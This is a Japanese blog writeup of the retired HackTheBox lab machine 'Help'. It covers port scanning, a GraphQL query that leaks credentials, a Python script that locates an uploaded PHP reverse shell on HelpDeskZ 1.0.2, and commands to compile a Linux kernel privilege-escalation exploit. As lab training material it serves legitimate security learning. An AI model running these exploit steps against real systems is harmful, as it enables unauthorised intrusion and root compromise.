All Articles

【Easy/Linux】Help Writeup(HackTheBox)

「Hack The Box」という、ペネトレーションテストの学習プラットフォームを利用してセキュリティについて学んでいます。 「Hack The Box」のランクは、本記事執筆時点でProHackerです。

Hack The Box

今回は、HackTheBoxのリタイアマシン「Help」のWriteUpです。

本記事について

本記事の内容は社会秩序に反する行為を推奨することを目的としたものではございません。

自身の所有する環境、もしくは許可された環境以外への攻撃の試行は、「不正アクセス行為の禁止等に関する法律(不正アクセス禁止法)」に違反する可能性があること、予めご留意ください。

またすべての発言は所属団体ではなく個人に帰属します。

もくじ

探索

とりあえずいつも通りのポートスキャンから始めていきます。

$ sudo sed -i 's/^[0-9].*$RHOST/10.10.10.121  $RHOST/g' /etc/hosts
$ nmap -sV -sC -Pn -T4 $RHOST| tee nmap1.txt
$ nmap -p- $RHOST -Pn -sC -sV -A  | tee nmap_max.txt

3000番ポートが外向けに空いているのは珍しい気がしますが、ひとまずは80番ポートから見ていきます。

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_  256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://help.htb/
|_http-server-header: Apache/2.4.18 (Ubuntu)
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

80番ポートに接続するとhelp.htbにリダイレクトさせられたので、hostsを編集して対応します。

残念ながらtopページには興味を引く情報はありませんでした。

image-20220808150531914

そこでgobusterでディレクトリの探索をかけたところ、HelpDeskZというシステムが稼働していることを確認しました。

image-20220808150742606

とりあえず問い合わせフォームが見つかったのでブラインドXSSが使えるかと思って試したものの、残念ながら動作しないようでした。

つづいて、以下のエクスプロイトが見つかりました。

参考:HelpDeskZ 1.0.2 - Arbitrary File Upload - PHP webapps Exploit

どうやらアップロードするファイルのファイルタイプに制限がないことを悪用するエクスプロイトのようですが、VictimのアップローダーではPHPがアップロードできませんでした。

image-20220808193445422

と思ったのですが、どうやら「File is not allowed」という表示が出た場合でもファイルアップロード自体は成功しているらしく、先ほどのエクスプロイトが刺さることがわかりました。

※ 手元で最初刺さらなかったのは、使用してたコンテナの時刻をJSTにしてたからぽいです。

ちなみに、上記の方法もうまくいかず、最終的に3000番ポートのGraphQLを探索することでパスワードとユーザ名を取得し、ログインすることができました。

$ curl 'http://help.htb:3000/graphql/' -H 'Content-Type: application/json' --data '{"query": "{user {username, password}}"}'

{"data":{"user":{"username":"helpme@helpme.com","password":"5d3c93182bb20f07b994a7f617e99cff"}}}

ここでTimezoneをUTCに変更した上でファイルをアップロードし、以下のエクスプロイトを実行してURLを特定したことでシェルを取得ことができました。

import hashlib
import time
import sys
import requests
import calendar

helpdeskzBaseUrl = "http://help.htb/support/uploads/tickets/" # change this
fileName = "php-reverse-shell.php" # Your reverse shell
response = requests.head('http://10.10.10.121') # Change this
serverTime=response.headers['Date'] # getting the server time
timeFormat="%a, %d %b %Y %H:%M:%S %Z"
currentTime = int (calendar.timegm(time.strptime(serverTime,timeFormat)))
for x in range(0, 800):
   plaintext = fileName + str(currentTime - x)
   md5hash = hashlib.md5(plaintext.encode()).hexdigest()
   url = helpdeskzBaseUrl+md5hash+'.php'
   print(url)
   response = requests.head(url)
   if response.status_code == 200:
      print ("found!")
      print (url)
      sys.exit(0)
print ("Sorry, I did not find anything")

権限昇格

Userが取得できたので権限昇格を目指します。

結果としてシンプルにカーネルエクスプロイトを使いました。

# Linux Kernel < 4.4.0-116
# searchsploit -m exploits/linux/local/44298.c
$ gcc -pthread 44298.c -o 44298.bin

この前に試したDirtyCowが刺さらなかったのはなんでだろう。。